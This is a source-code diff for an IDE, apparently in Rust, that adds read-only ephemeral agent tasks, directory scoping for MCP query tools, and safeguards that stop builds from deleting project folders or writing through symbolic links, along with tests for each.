assert!(events.lock().iter().any(|e| matches!(e, AgentEvent::Removed { id } if *id == task.id)));
|
||||
mgr.shutdown();
|
||||
}
|
||||
|
||||
/// A side conversation's context stays within its budget: long tool outputs are cut to
|
||||
/// their head and tail, and entries that no longer fit are dropped oldest first.
|
||||
#[test]
|
||||
fn side_conversation_context_is_bounded() {
|
||||
let long_output = (0..400).map(|i| format!("line {i}")).collect::<Vec<_>>().join(
|
||||
"
|
||||
",
|
||||
);
|
||||
// Each reply alone is well inside the budget; together they are past it.
|
||||
let reply = |n: usize| AgentEntry::Agent { text: format!("reply {n} {}", "x".repeat(30_000)) };
|
||||
let entries = vec![
|
||||
AgentEntry::User {
|
||||
text: "oldest question".into(),
|
||||
attachments: vec![],
|
||||
images: vec![],
|
||||
sent_ms: None,
|
||||
done_ms: None,
|
||||
steered: false,
|
||||
},
|
||||
reply(1),
|
||||
reply(2),
|
||||
reply(3),
|
||||
reply(4),
|
||||
AgentEntry::Tool {
|
||||
id: "t1".into(),
|
||||
title: "grep".into(),
|
||||
kind: "search".into(),
|
||||
status: AgentToolStatus::Completed,
|
||||
locations: vec![],
|
||||
output: Some(long_output),
|
||||
diffs: vec![],
|
||||
},
|
||||
AgentEntry::User {
|
||||
text: "newest question".into(),
|
||||
attachments: vec![],
|
||||
images: vec![],
|
||||
sent_ms: None,
|
||||
done_ms: None,
|
||||
steered: false,
|
||||
},
|
||||
];
|
||||
let transcript = context_transcript(&entries);
|
||||
assert!(transcript.contains("newest question"), "the newest entry is always kept");
|
||||
assert!(transcript.contains("lines omitted"), "a long tool output is trimmed");
|
||||
assert!(transcript.contains("line 0") && transcript.contains("line 399"), "its head and tail stay");
|
||||
assert!(!transcript.contains("oldest question"), "entries past the budget are dropped oldest first");
|
||||
assert!(transcript.contains("oldest entries are omitted"));
|
||||
}
|
||||
|
||||
/// An ephemeral task denies a permission request that would change the project.
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn ephemeral_tasks_deny_write_permissions() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let agent = Arc::new(FakeAgent::default());
|
||||
let mgr = manager(tmp.path(), agent.clone());
|
||||
let source = mgr
|
||||
.create(NewAgentTask {
|
||||
project_root: None,
|
||||
prompt: text("Something with a conversation to reuse"),
|
||||
provider: "claude".into(),
|
||||
config: vec![],
|
||||
isolation: Isolation::Local,
|
||||
base: None,
|
||||
..Default::default()
|
||||
})
|
||||
.await
|
||||
.unwrap();
|
||||
wait_for(&mgr, &source.id, AgentStatus::NeedsInput).await;
|
||||
let pending = mgr
|
||||
.entries(&source.id, None)
|
||||
.unwrap()
|
||||
.iter()
|
||||
.find_map(|e| match e {
|
||||
AgentEntry::Permission { id, chosen: None, .. } => Some(*id),
|
||||
_ => None,
|
||||
})
|
||||
.unwrap_or_else(|| panic!("no pending permission request"));
|
||||
mgr.respond(&source.id, pending, Some("no".into())).unwrap();
|
||||
wait_for(&mgr, &source.id, AgentStatus::Ready).await;
|
||||
|
||||
let task = mgr
|
||||
.create_ephemeral(
|
||||
NewAgentTask {
|
||||
project_root: None,
|
||||
prompt: text("What changed in this file?"),
|
||||
provider: "claude".into(),
|
||||
config: vec![],
|
||||
isolation: Isolation::Local,
|
||||
base: None,
|
||||
..Default::default()
|
||||
},
|
||||
&source.id,
|
||||
)
|
||||
.await
|
||||
.unwrap();
|
||||
assert!(mgr.task(&task.id).unwrap().state.lock().task.capabilities.read_only);
|
||||
|
||||
let answer = mgr
|
||||
.task(&task.id)
|
||||
.unwrap()
|
||||
.ask_permission(&json!({
|
||||
"sessionId": "c1",
|
||||
"toolCall": {"toolCallId": "c1-t2", "title": "Edit main.rs", "kind": "edit"},
|
||||
"options": [
|
||||
{"optionId": "yes", "name": "Allow", "kind": "allow_once"},
|
||||
{"optionId": "no", "name": "Reject", "kind": "reject_once"}
|
||||
]
|
||||
}))
|
||||
.pointer("/outcome/optionId")
|
||||
.and_then(Value::as_str)
|
||||
.unwrap_or("none")
|
||||
.to_owned();
|
||||
assert_eq!(answer, "no", "the write request is denied");
|
||||
let entries = mgr.entries(&task.id, None).unwrap();
|
||||
assert!(
|
||||
entries
|
||||
.iter()
|
||||
.any(|e| matches!(e, AgentEntry::Permission { chosen: Some(chosen), .. } if chosen.contains("read-only"))),
|
||||
"{entries:?}"
|
||||
);
|
||||
mgr.shutdown();
|
||||
}
|
||||
|
||||
fn attention_reasons(events: &[AgentEvent]) -> Vec<AgentAttentionReason> {
|
||||
events
|
||||
.iter()
|
||||
@@ -4240,15 +4045,12 @@ done
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn session_params_name_the_servers_switched_off() {
|
||||
let overrides = BTreeMap::from([
|
||||
("github".to_owned(), false),
|
||||
("docs".to_owned(), true),
|
||||
(mcp::BUILTIN_MCP_NAME.to_owned(), false),
|
||||
]);
|
||||
let params = session_params("/p", &[json!({ "name": "docs" })], &overrides);
|
||||
fn session_params_name_the_servers_off() {
|
||||
let mcp = McpForSession { servers: vec![json!({ "name": "docs" })], off: vec!["github".into()] };
|
||||
let params = session_params("/p", &mcp);
|
||||
assert_eq!(params["cwd"], "/p");
|
||||
assert_eq!(params["mcpServers"][0]["name"], "docs");
|
||||
assert_eq!(params["_meta"]["openidea"]["mcpServersOff"], json!(["github"]));
|
||||
assert!(session_params("/p", &[], &BTreeMap::new()).get("_meta").is_none());
|
||||
let none = McpForSession { servers: Vec::new(), off: Vec::new() };
|
||||
assert!(session_params("/p", &none).get("_meta").is_none());
|
||||
}
|
||||
@@ -548,7 +548,7 @@ impl PathMap {
|
||||
}
|
||||
|
||||
/// Removes `.` and resolvable `..` components without touching the file system.
|
||||
fn normalize(p: &Path) -> PathBuf {
|
||||
pub(crate) fn normalize(p: &Path) -> PathBuf {
|
||||
use std::path::Component;
|
||||
let mut out = PathBuf::new();
|
||||
for c in p.components() {
|
||||
|
||||
@@ -40,6 +40,18 @@ pub fn structure_outputs(root: &Path, ps: &ProjectStructureSettings) -> (PathBuf
|
||||
(main, test)
|
||||
}
|
||||
|
||||
/// Whether Rebuild may delete the output folder `dir`: never the project folder or one above
|
||||
/// it, nor a folder that holds or lies inside a source, test or resource root.
|
||||
fn deletable_output(dir: &Path, root: &Path, roots: &StructureRoots) -> bool {
|
||||
let dir = normalize(dir);
|
||||
let overlaps = |r: &PathBuf| {
|
||||
let r = normalize(r);
|
||||
r.starts_with(&dir) || dir.starts_with(&r)
|
||||
};
|
||||
!normalize(root).starts_with(&dir)
|
||||
&& !roots.sources.iter().chain(&roots.tests).chain(&roots.resources).chain(&roots.test_resources).any(overlaps)
|
||||
}
|
||||
|
||||
fn module_name(root: &Path) -> String {
|
||||
root.file_name().map_or_else(|| "project".to_owned(), |n| n.to_string_lossy().into_owned())
|
||||
}
|
||||
@@ -207,7 +219,11 @@ pub fn structure_plan(
|
||||
|
||||
let mut steps = Vec::new();
|
||||
if kind == BuildKind::Rebuild {
|
||||
steps.push(BuildStep::action(Action::Clean(vec![main_out.clone(), test_out.clone()]), root));
|
||||
let dirs: Vec<PathBuf> =
|
||||
[&main_out, &test_out].into_iter().filter(|d| deletable_output(d, root, roots)).cloned().collect();
|
||||
if !dirs.is_empty() {
|
||||
steps.push(BuildStep::action(Action::Clean(dirs), root));
|
||||
}
|
||||
}
|
||||
let main_cp = library_entries(root, ps, false);
|
||||
let compile = |name: &str, sources: &[PathBuf], out: &Path, cp: &[String]| -> IdeResult<BuildStep> {
|
||||
@@ -466,6 +482,14 @@ impl Action {
|
||||
let mut written = Vec::new();
|
||||
for (from, to) in entries {
|
||||
let target = into.join(to);
|
||||
// The folders of the output it goes into (and a folder entry's own) are
|
||||
// never links; a file in a link's place replaces the link.
|
||||
let mut at = into.to_path_buf();
|
||||
let folders = to.components().count().saturating_sub(usize::from(!from.is_dir()));
|
||||
for c in to.components().take(folders) {
|
||||
at.push(c);
|
||||
refuse_link(&at)?;
|
||||
}
|
||||
if from.is_dir() {
|
||||
copy_tree(from, &target, &mut written, cancel)?;
|
||||
} else if from.is_file() {
|
||||
@@ -487,6 +511,10 @@ impl Action {
|
||||
}
|
||||
|
||||
fn copy_file(from: &Path, to: &Path) -> IdeResult<()> {
|
||||
// A link in the artifact's place is replaced, not written through.
|
||||
if fs::symlink_metadata(to).is_ok_and(|m| m.file_type().is_symlink()) {
|
||||
fs::remove_file(to).map_err(|e| IdeError::internal(format!("cannot replace {} ({e})", to.display())))?;
|
||||
}
|
||||
if let Some(parent) = to.parent() {
|
||||
fs::create_dir_all(parent)
|
||||
.map_err(|e| IdeError::internal(format!("cannot create {} ({e})", parent.display())))?;
|
||||
@@ -495,6 +523,16 @@ fn copy_file(from: &Path, to: &Path) -> IdeResult<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn refuse_link(folder: &Path) -> IdeResult<()> {
|
||||
if fs::symlink_metadata(folder).is_ok_and(|m| m.file_type().is_symlink()) {
|
||||
return Err(IdeError::invalid(format!(
|
||||
"{} links to another folder; the artifact is not laid out through it",
|
||||
folder.display()
|
||||
)));
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn copy_tree(from: &Path, to: &Path, written: &mut Vec<PathBuf>, cancel: &CancellationToken) -> IdeResult<()> {
|
||||
if cancel.is_cancelled() {
|
||||
return Err(IdeError::cancelled());
|
||||
@@ -504,6 +542,7 @@ fn copy_tree(from: &Path, to: &Path, written: &mut Vec<PathBuf>, cancel: &Cancel
|
||||
let Ok(t) = e.file_type() else { continue };
|
||||
let target = to.join(e.file_name());
|
||||
if t.is_dir() {
|
||||
refuse_link(&target)?;
|
||||
copy_tree(&e.path(), &target, written, cancel)?;
|
||||
} else if t.is_file() {
|
||||
copy_file(&e.path(), &target)?;
|
||||
@@ -531,7 +570,14 @@ fn replace_recorded(into: &Path, record: &Path, written: &[PathBuf]) -> IdeResul
|
||||
continue;
|
||||
}
|
||||
let file = into.join(&rel);
|
||||
if file.is_file() {
|
||||
// Never through a link: a folder of the output that now links elsewhere (or a file that
|
||||
// is a link) leads out of what the layout wrote.
|
||||
let mut at = into.to_path_buf();
|
||||
let linked = rel.components().any(|c| {
|
||||
at.push(c);
|
||||
fs::symlink_metadata(&at).is_ok_and(|m| m.file_type().is_symlink())
|
||||
});
|
||||
if !linked && file.is_file() {
|
||||
let _ = fs::remove_file(&file);
|
||||
let mut dir = file.parent();
|
||||
while let Some(d) = dir.filter(|d| *d != into && d.starts_with(into)) {
|
||||
@@ -750,6 +796,37 @@ mod tests {
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn rebuild_never_cleans_an_output_folder_over_the_project_or_its_sources() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let root = tmp.path().join("p");
|
||||
write(&root.join("src/A.java"), "class A {}");
|
||||
let roots = StructureRoots { sources: vec![root.join("src")], ..Default::default() };
|
||||
for (main, test) in [(".", "bin"), ("src", "src/../test-out"), ("src/classes", ".."), ("", "")] {
|
||||
let mut ps = ProjectStructureSettings::default();
|
||||
ps.modules.insert(
|
||||
".".into(),
|
||||
ModuleStructureSettings {
|
||||
compiler_output: main.into(),
|
||||
test_compiler_output: test.into(),
|
||||
..Default::default()
|
||||
},
|
||||
);
|
||||
let plan = structure_plan(&root, &ps, &roots, None, "17", BuildKind::Rebuild, &tmp.path().join("c"))
|
||||
.unwrap()
|
||||
.unwrap();
|
||||
let clean: Vec<String> =
|
||||
plan.steps.iter().map(BuildStep::display).filter(|s| s.starts_with("Clean")).collect();
|
||||
let expected: &[&str] = match main {
|
||||
"." => &["Clean bin"],
|
||||
"src" => &["Clean src/../test-out"],
|
||||
"src/classes" => &[],
|
||||
_ => &["Clean out/production/p, out/test/p"],
|
||||
};
|
||||
assert_eq!(clean, expected, "{main} / {test}");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn no_plan_without_java_sources() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
@@ -899,6 +976,32 @@ mod tests {
|
||||
write(&tmp.path().join("outside.txt"), "x");
|
||||
layout(&["a.jar"]).run(&CancellationToken::new()).unwrap();
|
||||
assert!(tmp.path().join("outside.txt").is_file());
|
||||
// Nor through a folder of the output that now links elsewhere.
|
||||
#[cfg(unix)]
|
||||
{
|
||||
write(&project.join("assets/x.txt"), "laid out");
|
||||
write(&record, &format!("{}\nassets/x.txt", project.display()));
|
||||
fs::remove_dir_all(project.join("assets")).unwrap();
|
||||
std::os::unix::fs::symlink(project.join("src"), project.join("assets")).unwrap();
|
||||
write(&project.join("src/x.txt"), "source");
|
||||
layout(&["a.jar"]).run(&CancellationToken::new()).unwrap();
|
||||
assert!(project.join("src/x.txt").is_file());
|
||||
}
|
||||
// An entry's own folder that links elsewhere stops the layout instead of copying through it.
|
||||
#[cfg(unix)]
|
||||
{
|
||||
fs::remove_file(project.join("assets")).unwrap();
|
||||
std::os::unix::fs::symlink(project.join("src"), project.join("classes")).unwrap();
|
||||
write(&tmp.path().join("out/A.class"), "compiled");
|
||||
let into_link = Action::Layout {
|
||||
into: project.clone(),
|
||||
entries: vec![(tmp.path().join("out"), PathBuf::from("classes"))],
|
||||
record: Some(record.clone()),
|
||||
};
|
||||
assert!(into_link.run(&CancellationToken::new()).is_err());
|
||||
assert!(!project.join("src/A.class").exists());
|
||||
fs::remove_file(project.join("classes")).unwrap();
|
||||
}
|
||||
// Nor does one made for another output folder.
|
||||
write(&project.join("c.jar"), "mine");
|
||||
write(&record, "/elsewhere\nc.jar");
|
||||
|
||||
@@ -38,6 +38,11 @@ pub enum IdeEvent {
|
||||
WindowGroupsChanged,
|
||||
/// A window entered or left full screen, itself or as a member of a full-screen window group.
|
||||
WindowFullscreenChanged,
|
||||
/// This remote window's connection to its host ended on its own (network loss, the host or
|
||||
/// its server went away); the window's project is unreachable until it reconnects.
|
||||
RemoteConnectionLost {
|
||||
host: String,
|
||||
},
|
||||
ProjectTrustChanged {
|
||||
root: crate::IpcPath,
|
||||
trusted: bool,
|
||||
|
||||
@@ -331,7 +331,7 @@ targetIndex, or narrow the call with a contextSnippet that shows the one you mea
|
||||
FileEdit::Rename { from, to } => vec![from, to],
|
||||
};
|
||||
for p in paths {
|
||||
if let Err(e) = super::super::tool::ensure_inside(call.root(), p) {
|
||||
if let Err(e) = call.ensure_writable_place(p) {
|
||||
let hint = format!(
|
||||
"{}. Nothing was renamed. A rename that must change a file outside the project cannot run here.",
|
||||
e.message
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
use super::page::{OFFSET, Page};
|
||||
use super::scope::{self, Scope};
|
||||
use super::tool::{Call, Output, Param, ParamType, Tool};
|
||||
use ide_core::{Diagnostic, IdeResult, Severity};
|
||||
use serde_json::{Map, Value, json};
|
||||
@@ -14,7 +15,8 @@ pub fn tools() -> Vec<Tool> {
|
||||
|
||||
Use this tool to explore current open editors.",
|
||||
open_editors,
|
||||
),
|
||||
)
|
||||
.param(scope::param()),
|
||||
Tool::new(
|
||||
"get_current_file",
|
||||
"Returns the focused editor's file and selection reported by the IDE.
|
||||
@@ -43,18 +45,20 @@ Lines and UTF-16 columns are 1-based.",
|
||||
project_problems,
|
||||
)
|
||||
.param(Param::optional("errorsOnly", ParamType::Boolean, "Only errors (default) or warnings too"))
|
||||
.param(scope::param())
|
||||
.param(Param::optional("limit", ParamType::Integer, "Problems to return at most (default 100)"))
|
||||
.param(Param::optional("offset", ParamType::Integer, OFFSET)),
|
||||
]
|
||||
}
|
||||
|
||||
async fn open_editors(call: Call) -> IdeResult<Output> {
|
||||
let dir = Scope::of(&call)?;
|
||||
let windows = call.host.mcp_windows(call.root());
|
||||
let open = call.host.mcp_reports.editors(&windows);
|
||||
let active = call.host.mcp_reports.focused(call.window());
|
||||
let active = call.host.mcp_reports.focused(call.window()).filter(|e| dir.contains(&e.path.0));
|
||||
Output::json(json!({
|
||||
"activeFilePath": active.map(|e| call.display(&e.path.0)),
|
||||
"openFiles": open.iter().map(|p| call.display(p)).collect::<Vec<_>>(),
|
||||
"openFiles": open.iter().filter(|p| dir.contains(p)).map(|p| call.display(p)).collect::<Vec<_>>(),
|
||||
}))
|
||||
}
|
||||
|
||||
@@ -99,9 +103,11 @@ async fn file_problems(call: Call) -> IdeResult<Output> {
|
||||
async fn project_problems(call: Call) -> IdeResult<Output> {
|
||||
let page = Page::of(&call, PROBLEMS_LIMIT)?;
|
||||
let errors_only = call.flag("errorsOnly", true)?;
|
||||
let dir = Scope::of(&call)?;
|
||||
let files = call.host.mcp_reports.problems(&call.host.mcp_windows(call.root()));
|
||||
let problems: Vec<(String, Value)> = files
|
||||
.into_iter()
|
||||
.filter(|f| dir.contains(&f.path.0))
|
||||
.flat_map(|f| {
|
||||
let path = call.display(&f.path.0);
|
||||
let wanted = f.items.into_iter().filter(|d| !errors_only || d.severity == Severity::Error);
|
||||
|
||||
@@ -10,6 +10,7 @@ mod files;
|
||||
mod http;
|
||||
mod page;
|
||||
mod reports;
|
||||
mod scope;
|
||||
mod search;
|
||||
mod symbols;
|
||||
mod tool;
|
||||
@@ -54,14 +55,17 @@ impl Registry {
|
||||
if self.0.mcp_reports.remote_roots().iter().any(|p| p == root) {
|
||||
return Err("not supported for remote projects yet".into());
|
||||
}
|
||||
let mut windows: Vec<_> = self
|
||||
.0
|
||||
.projects
|
||||
.read()
|
||||
.iter()
|
||||
.filter(|(_, p)| p.root == root && !p.light)
|
||||
.map(|(w, p)| (w.clone(), p.clone()))
|
||||
.collect();
|
||||
let projects = self.0.projects.read();
|
||||
let open = || projects.iter().filter(|(_, p)| !p.light);
|
||||
let mut windows: Vec<_> = open().filter(|(_, p)| p.root == root).map(|(w, p)| (w.clone(), p.clone())).collect();
|
||||
if windows.is_empty() {
|
||||
// A project attached to an open one: the window it is attached in.
|
||||
windows = open()
|
||||
.filter(|(_, p)| tool::attached_projects(&p.root).iter().any(|a| a == root))
|
||||
.map(|(w, p)| (w.clone(), p.clone()))
|
||||
.collect();
|
||||
}
|
||||
drop(projects);
|
||||
let focused = self.0.mcp_reports.focused_window();
|
||||
windows.sort_by(|a, b| {
|
||||
(Some(&b.0) == focused.as_ref()).cmp(&(Some(&a.0) == focused.as_ref())).then(a.0.cmp(&b.0))
|
||||
@@ -71,13 +75,10 @@ impl Registry {
|
||||
}
|
||||
impl ToolRegistry for Registry {
|
||||
fn projects(&self) -> Vec<PathBuf> {
|
||||
self.0
|
||||
.projects()
|
||||
.into_iter()
|
||||
.filter(|p| !p.light)
|
||||
.map(|p| p.root.clone())
|
||||
.chain(self.0.mcp_reports.remote_roots())
|
||||
.collect()
|
||||
let open: Vec<_> = self.0.projects().into_iter().filter(|p| !p.light).collect();
|
||||
// Attached projects are listed too, so a `projectPath` inside one names it.
|
||||
let attached: Vec<_> = open.iter().flat_map(|p| tool::attached_projects(&p.root)).collect();
|
||||
open.into_iter().map(|p| p.root.clone()).chain(attached).chain(self.0.mcp_reports.remote_roots()).collect()
|
||||
}
|
||||
fn tools(&self, root: &Path) -> Result<Vec<ide_mcp::Tool>, String> {
|
||||
let (_, project) = self.target(root)?;
|
||||
|
||||
@@ -305,6 +305,7 @@ pub fn list_runs() -> Tool {
|
||||
start of the command, exit code and times. `get_run_status` gives a tab's whole status.",
|
||||
|call| async move {
|
||||
let page = Page::of(&call, LIST_LIMIT)?;
|
||||
let dir = crate::mcp::scope::Scope::of(&call)?;
|
||||
let wanted = call.opt_str("state")?.filter(|s| s != "all");
|
||||
let states = match wanted.as_deref() {
|
||||
None => None,
|
||||
@@ -325,6 +326,8 @@ start of the command, exit code and times. `get_run_status` gives a tab's whole
|
||||
.iter()
|
||||
.rev()
|
||||
.map(|r| r.status())
|
||||
// A tab belongs where its command runs.
|
||||
.filter(|s| dir.contains_shown(call.root(), s["workingDirectory"].as_str().unwrap_or_default()))
|
||||
.filter(|s| {
|
||||
states.as_ref().is_none_or(|states| s["state"].as_str().is_some_and(|v| states.contains(&v)))
|
||||
})
|
||||
@@ -341,6 +344,7 @@ start of the command, exit code and times. `get_run_status` gives a tab's whole
|
||||
ParamType::String,
|
||||
"all (default), running, idle (not running), error (failed, crashed, startFailed), or one state",
|
||||
))
|
||||
.param(crate::mcp::scope::param())
|
||||
.param(Param::optional("limit", ParamType::Integer, "Tabs to return at most (default 10)"))
|
||||
.param(Param::optional("offset", ParamType::Integer, OFFSET))
|
||||
}
|
||||
|
||||
@@ -139,8 +139,13 @@ the whole command. Run points are found in Rust, JavaScript/TypeScript, Python a
|
||||
}
|
||||
let page = Page::of(&call, CONFIGURATIONS_LIMIT)?;
|
||||
let query = call.opt_str("query")?.map(|q| q.to_lowercase());
|
||||
let dir = crate::mcp::scope::Scope::of(&call)?;
|
||||
let list: Vec<Value> = configs
|
||||
.iter()
|
||||
// A configuration belongs where it runs.
|
||||
.filter(|c| {
|
||||
dir.contains(&c.cwd.as_deref().map_or_else(|| call.root().to_path_buf(), |d| call.root().join(d)))
|
||||
})
|
||||
.filter(|c| {
|
||||
query.as_ref().is_none_or(|q| {
|
||||
[c.name.as_str(), c.kind.as_str(), command_line(c).as_str()]
|
||||
@@ -164,6 +169,7 @@ the whole command. Run points are found in Rust, JavaScript/TypeScript, Python a
|
||||
in the file instead of project-wide run configurations.",
|
||||
))
|
||||
.param(Param::optional("query", ParamType::String, "Only configurations whose name, type or command contains it"))
|
||||
.param(crate::mcp::scope::param())
|
||||
.param(Param::optional("limit", ParamType::Integer, "Configurations to return at most (default 100)"))
|
||||
.param(Param::optional("offset", ParamType::Integer, OFFSET))
|
||||
}
|
||||
|
||||
@@ -0,0 +1,51 @@
|
||||
//! The `scope` argument of the query tools: the directory their results are limited to, a
|
||||
//! folder of the project or a project attached to it.
|
||||
|
||||
use crate::mcp::tool::{Call, Param, ParamType};
|
||||
use ide_core::{IdeError, IdeResult};
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
pub fn param() -> Param {
|
||||
Param::optional(
|
||||
"scope",
|
||||
ParamType::String,
|
||||
"Directory to limit results to: relative to the project root, or absolute",
|
||||
)
|
||||
}
|
||||
|
||||
/// No `scope`: everything.
|
||||
pub struct Scope(Option<PathBuf>);
|
||||
|
||||
impl Scope {
|
||||
pub fn of(call: &Call) -> IdeResult<Self> {
|
||||
let Some(raw) = call.opt_str("scope")?.filter(|s| !s.trim().is_empty()) else { return Ok(Self(None)) };
|
||||
let given = Path::new(raw.trim());
|
||||
let path = crate::mcp::tool::normalize(&if given.is_absolute() {
|
||||
given.to_path_buf()
|
||||
} else {
|
||||
call.root().join(given)
|
||||
});
|
||||
let path = dunce::canonicalize(&path).unwrap_or(path);
|
||||
if !path.is_dir() {
|
||||
return Err(IdeError::not_found(format!("scope {raw} is not a directory")));
|
||||
}
|
||||
let roots = std::iter::once(call.root().to_path_buf()).chain(call.project().content_roots());
|
||||
if !roots.into_iter().any(|root| path.starts_with(root)) {
|
||||
return Err(IdeError::invalid(format!("scope {raw} is outside the project")));
|
||||
}
|
||||
Ok(Self(Some(path)))
|
||||
}
|
||||
|
||||
pub fn dir(&self) -> Option<&Path> {
|
||||
self.0.as_deref()
|
||||
}
|
||||
|
||||
pub fn contains(&self, path: &Path) -> bool {
|
||||
self.0.as_ref().is_none_or(|dir| path.starts_with(dir))
|
||||
}
|
||||
|
||||
/// For a path the tools return: project-relative with `/`, or absolute.
|
||||
pub fn contains_shown(&self, root: &Path, path: &str) -> bool {
|
||||
self.0.is_none() || self.contains(&root.join(path))
|
||||
}
|
||||
}
|
||||
@@ -6,6 +6,7 @@
|
||||
//! the editor (one per character except emoji and other astral characters).
|
||||
|
||||
use crate::mcp::page::{OFFSET, Page};
|
||||
use crate::mcp::scope::{self, Scope};
|
||||
use crate::mcp::tool::{Call, Output, Param, ParamType, Tool};
|
||||
use crate::mcp::util::{INDEXING_PARTIAL_RESULT_REASON, MEDIUM_TIMEOUT};
|
||||
use crate::ops::search::SearchEvent;
|
||||
@@ -67,6 +68,7 @@ Examples: [\"src/**\", \"!**/test/**\"], [\"**/*.kt\"], [\"foo/\"].",
|
||||
|call| async move { text_search(call, false).await },
|
||||
)
|
||||
.param(Param::required("q", ParamType::String, "Text to search for"))
|
||||
.param(scope::param())
|
||||
.param(Param::optional("paths", ParamType::StringList, PATHS_DESCRIPTION))
|
||||
.param(Param::optional("limit", ParamType::Integer, LIMIT_DESCRIPTION))
|
||||
.param(Param::optional("offset", ParamType::Integer, OFFSET))
|
||||
@@ -89,6 +91,7 @@ Examples: [\"src/**\", \"!**/test/**\"], [\"**/*.kt\"], [\"foo/\"].",
|
||||
|call| async move { text_search(call, true).await },
|
||||
)
|
||||
.param(Param::required("q", ParamType::String, "Regex pattern to search for"))
|
||||
.param(scope::param())
|
||||
.param(Param::optional("paths", ParamType::StringList, PATHS_DESCRIPTION))
|
||||
.param(Param::optional("limit", ParamType::Integer, LIMIT_DESCRIPTION))
|
||||
.param(Param::optional("offset", ParamType::Integer, OFFSET))
|
||||
@@ -110,6 +113,7 @@ If you don't find a suitable result, try again with include_external=true to sea
|
||||
|call| async move { symbol_search(call).await },
|
||||
)
|
||||
.param(Param::required("q", ParamType::String, "Symbol query text"))
|
||||
.param(scope::param())
|
||||
.param(Param::optional("paths", ParamType::StringList, PATHS_DESCRIPTION))
|
||||
.param(Param::optional(
|
||||
"include_external",
|
||||
@@ -136,6 +140,7 @@ Paths are optional additional glob filters relative to the project root.",
|
||||
|call| async move { file_search(call).await },
|
||||
)
|
||||
.param(Param::required("q", ParamType::String, "Glob pattern to search for"))
|
||||
.param(scope::param())
|
||||
.param(Param::optional("paths", ParamType::StringList, PATHS_DESCRIPTION))
|
||||
.param(Param::optional(
|
||||
"includeExcluded",
|
||||
@@ -539,6 +544,7 @@ async fn text_search(call: Call, is_regex: bool) -> IdeResult<Output> {
|
||||
let pattern = query(&call, if is_regex { "Regex pattern is empty" } else { "Search text is empty" })?;
|
||||
let (page, limit) = page(&call, DEFAULT_LIMIT)?;
|
||||
let around = context(&call)?;
|
||||
let dir = Scope::of(&call)?;
|
||||
let scope = PathScope::new(call.root(), &call.str_list("paths")?)?;
|
||||
// Globs Find in Files cannot take are applied afterwards, so the engine must not
|
||||
// stop at `limit` matches the filter may drop.
|
||||
@@ -559,7 +565,8 @@ async fn text_search(call: Call, is_regex: bool) -> IdeResult<Output> {
|
||||
whole_word: false,
|
||||
include,
|
||||
exclude,
|
||||
scope: SearchScope::Project,
|
||||
// Only `scope` is walked.
|
||||
scope: dir.dir().map_or(SearchScope::Project, |d| SearchScope::Directory { path: d.to_path_buf().into() }),
|
||||
max_matches,
|
||||
context: Default::default(),
|
||||
};
|
||||
@@ -568,8 +575,12 @@ async fn text_search(call: Call, is_regex: bool) -> IdeResult<Output> {
|
||||
}
|
||||
let (files, summary, timed_out) = run_search(&call, query.clone()).await?;
|
||||
// Content roots outside the project are reported by absolute path.
|
||||
let mut files: Vec<(String, FileMatches)> =
|
||||
files.into_iter().map(|f| (call.display(&f.path.0), f)).filter(|(path, _)| scope.matches(path)).collect();
|
||||
let mut files: Vec<(String, FileMatches)> = files
|
||||
.into_iter()
|
||||
.filter(|f| dir.contains(&f.path.0))
|
||||
.map(|f| (call.display(&f.path.0), f))
|
||||
.filter(|(path, _)| scope.matches(path))
|
||||
.collect();
|
||||
files.sort_by(|a, b| a.0.cmp(&b.0));
|
||||
// Only these can match a line break.
|
||||
let may_span = is_regex || pattern.contains('\n');
|
||||
@@ -739,6 +750,7 @@ async fn run_search(call: &Call, query: SearchQuery) -> IdeResult<(Vec<FileMatch
|
||||
async fn file_search(call: Call) -> IdeResult<Output> {
|
||||
let q = query(&call, "Glob pattern is empty")?;
|
||||
let (page, limit) = page(&call, DEFAULT_LIMIT)?;
|
||||
let dir = Scope::of(&call)?;
|
||||
let scope = PathScope::new(call.root(), &call.str_list("paths")?)?;
|
||||
let include_excluded = call.flag("includeExcluded", false)?;
|
||||
let glob = GlobSetBuilder::new()
|
||||
@@ -748,16 +760,19 @@ async fn file_search(call: Call) -> IdeResult<Output> {
|
||||
// Ignored names and "Exclude files" patterns, which `read_dir` does not flag.
|
||||
let excludes = if include_excluded { None } else { Some(FileMask::new(&[], &call.project().search_excludes())?) };
|
||||
let root = call.root().to_path_buf();
|
||||
// The project folder and the content roots its walk does not cover: those outside it and
|
||||
// those inside it that it skips as ignored.
|
||||
let roots: Vec<PathBuf> = std::iter::once(root.clone())
|
||||
.chain(
|
||||
call.project()
|
||||
.content_roots()
|
||||
.into_iter()
|
||||
.filter(|r| relative_to_root(&root, r).is_none() || ide_index::walk_skips(&root, r)),
|
||||
)
|
||||
.collect();
|
||||
// `scope`, or the project folder and the content roots its walk does not cover: those
|
||||
// outside it and those inside it that it skips as ignored.
|
||||
let roots: Vec<PathBuf> = match dir.dir() {
|
||||
Some(dir) => vec![dir.to_path_buf()],
|
||||
None => std::iter::once(root.clone())
|
||||
.chain(
|
||||
call.project()
|
||||
.content_roots()
|
||||
.into_iter()
|
||||
.filter(|r| relative_to_root(&root, r).is_none() || ide_index::walk_skips(&root, r)),
|
||||
)
|
||||
.collect(),
|
||||
};
|
||||
let host = call.host();
|
||||
let walk = Walk {
|
||||
host: host.clone(),
|
||||
@@ -838,9 +853,9 @@ impl Walk {
|
||||
}
|
||||
}
|
||||
EntryKind::File => {
|
||||
// Files of content roots outside the project go by absolute path.
|
||||
// Files of content roots outside the project go by absolute path, with `/` as elsewhere.
|
||||
let path = relative_to_root(&self.root, &entry.path)
|
||||
.unwrap_or_else(|| entry.path.to_string_lossy().into_owned());
|
||||
.unwrap_or_else(|| entry.path.to_string_lossy().replace('\\', "/"));
|
||||
if self.glob.is_match(&path) && self.scope.matches(&path) {
|
||||
if found.len() == self.limit {
|
||||
return true;
|
||||
